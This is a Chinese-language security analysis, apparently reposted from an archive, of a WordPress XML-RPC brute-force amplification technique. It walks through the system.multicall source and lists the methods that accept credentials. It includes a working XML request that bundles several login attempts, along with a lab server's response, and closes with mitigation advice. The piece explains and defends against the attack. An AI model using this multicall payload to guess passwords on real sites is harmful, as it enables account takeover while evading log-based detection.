WordPress 利用 XMLRPC 高效爆破 原理分析

wyzsk發表於2020-08-19
作者: RickGray · 2015/10/12 10:34

By: RickGray (知道創宇404安全實驗室)

xmlrpc 是 WordPress 中進行遠端呼叫的介面,而使用 xmlrpc 呼叫介面進行賬號爆破在很早之前就被提出並加以利用。近日 SUCURI 釋出文章介紹瞭如何利用 xmlrpc 呼叫介面中的 system.multicall 來提高爆破效率,使得成千上萬次的帳號密碼組合嘗試能在一次請求完成,極大的壓縮請求次數,在一定程度上能夠躲避日誌的檢測。

0x01 原理分析


WordPress 中關於 xmlrpc 服務的定義程式碼主要位於 wp-includes/class-IXR.phpwp-includes/class-wp-xmlrpc-server.php 中。基類 IXR_Server 中定義了三個內建的呼叫方法,分別為 system.getCapabilitiessystem.listMethodssystem.multicall,其呼叫對映位於 IXR_Server 基類定義中:

#!php
function setCallbacks()
{
    $this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
    $this->callbacks['system.listMethods'] = 'this:listMethods';
    $this->callbacks['system.multicall'] = 'this:multiCall';
}

而基類在初始化時,呼叫 setCallbacks() 繫結了呼叫對映關係:

#!php
function __construct( $callbacks = false, $data = false, $wait = false )
{
    $this->setCapabilities();
    if ($callbacks) {
        $this->callbacks = $callbacks;
    }
    $this->setCallbacks();  // 繫結預設的三個基本呼叫對映
    if (!$wait) {
        $this->serve($data);
    }
}

再來看看 system.multicall 對應的處理函式:

#!php
function multiCall($methodcalls)
{
    // See http://www.xmlrpc.com/discuss/msgReader$1208
    $return = array();
    foreach ($methodcalls as $call) {
        $method = $call['methodName'];
        $params = $call['params'];
        if ($method == 'system.multicall') {
            $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
        } else {
            $result = $this->call($method, $params);
        }
        if (is_a($result, 'IXR_Error')) {
            $return[] = array(
                'faultCode' => $result->code,
                'faultString' => $result->message
            );
        } else {
            $return[] = array($result);
        }
    }
    return $return;
}

可以從程式碼中看出,程式會解析請求傳遞的 XML,遍歷多重呼叫中的每一個介面呼叫請求,並會將最終有呼叫的結果合在一起返回給請求端。

這樣一來,就可以將500種甚至是10000種帳號密碼爆破嘗試包含在一次請求中,服務端會很快處理完並返回結果,這樣極大地提高了爆破的效率,利用多重呼叫介面壓縮了請求次數,10000種帳號密碼嘗試只會在目標伺服器上留下一條訪問日誌,一定程度上躲避了日誌的安全檢測。

透過閱讀 WordPress 中 xmlrpc 相關處理的程式碼,能大量的 xmlrpc 呼叫都驗證了使用者名稱和密碼:

#!php
if ( !$user = $this->login($username, $password) )
    return $this->error;

透過搜尋上述登入驗證程式碼可以得到所有能夠用來進行爆破的呼叫方法列表如下:

wp.getUsersBlogs, wp.newPost, wp.editPost, wp.deletePost, wp.getPost, wp.getPosts, wp.newTerm, wp.editTerm, wp.deleteTerm, wp.getTerm, wp.getTerms, wp.getTaxonomy, wp.getTaxonomies, wp.getUser, wp.getUsers, wp.getProfile, wp.editProfile, wp.getPage, wp.getPages, wp.newPage, wp.deletePage, wp.editPage, wp.getPageList, wp.getAuthors, wp.getTags, wp.newCategory, wp.deleteCategory, wp.suggestCategories, wp.getComment, wp.getComments, wp.deleteComment, wp.editComment, wp.newComment, wp.getCommentStatusList, wp.getCommentCount, wp.getPostStatusList, wp.getPageStatusList, wp.getPageTemplates, wp.getOptions, wp.setOptions, wp.getMediaItem, wp.getMediaLibrary, wp.getPostFormats, wp.getPostType, wp.getPostTypes, wp.getRevisions, wp.restoreRevision, blogger.getUsersBlogs, blogger.getUserInfo, blogger.getPost, blogger.getRecentPosts, blogger.newPost, blogger.editPost, blogger.deletePost, mw.newPost, mw.editPost, mw.getPost, mw.getRecentPosts, mw.getCategories, mw.newMediaObject, mt.getRecentPostTitles, mt.getPostCategories, mt.setPostCategories

這裡是用引數傳遞最少獲取資訊最直接的 wp.getUsersBlogs 進行測試,將兩次帳號密碼嘗試包含在同一次請求裡,構造 XML 請求內容為:

#!xml
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param>
    <value><array><data>
      <value><struct>
        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
        <member><name>params</name><value><array><data>
          <value><string>admin</string></value>
          <value><string>admin888</string></value>
        </data></array></value></member>
      </struct></value>

      <value><struct>
        <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
        <member><name>params</name><value><array><data>
          <value><string>guest</string></value>
          <value><string>test</string></value>
        </data></array></value></member>
      </struct></value>
    </data></array></value>
  </param></params>
</methodCall>

將上面包含兩個子呼叫的 XML 請求傳送至 xmlrpc 服務端入口,若目標開啟了 xmlrpc 服務會返回類似如下的資訊:

#!xml
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><array><data>
  <value><array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>WordPress 4.3.1</string></value></member>
  <member><name>xmlrpc</name><value><string>http://172.16.96.130/xampp/wordpress-4.3.1/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>使用者名稱或密碼不正確。</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

從結果中可以看到在同一次請求裡面處理了兩種帳號密碼組合,並以集中形式將結果返回,透過該種方式可以極大地提高帳號爆破效率。

0x02 防護建議


最新版 WordPress(4.3.1) 中仍存在該問題。多重呼叫(multicall)屬於 xmlrpc 的標準,為了防止攻擊者利用此點對網站發起爆破攻擊,給出以下防護建議:

  1. 透過配置 Apache、Nginx 等 Web 伺服器來限制 xmlrpc.php 檔案的訪問;
  2. 在不影響站點執行的情況下可以直接刪除 xmlrpc.php 檔案;
  3. 從官方外掛庫中安裝 Disable XML-RPC 並啟用;
  4. 新增程式碼 add_filter('xmlrpc_enabled', '__return_false'); 至 WordPress 配置檔案 wp-config.php;

0x03 參考連結


原文出處:http://blog.knownsec.com/2015/10/wordpress-xmlrpc-brute-force-amplification-attack-analysis/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章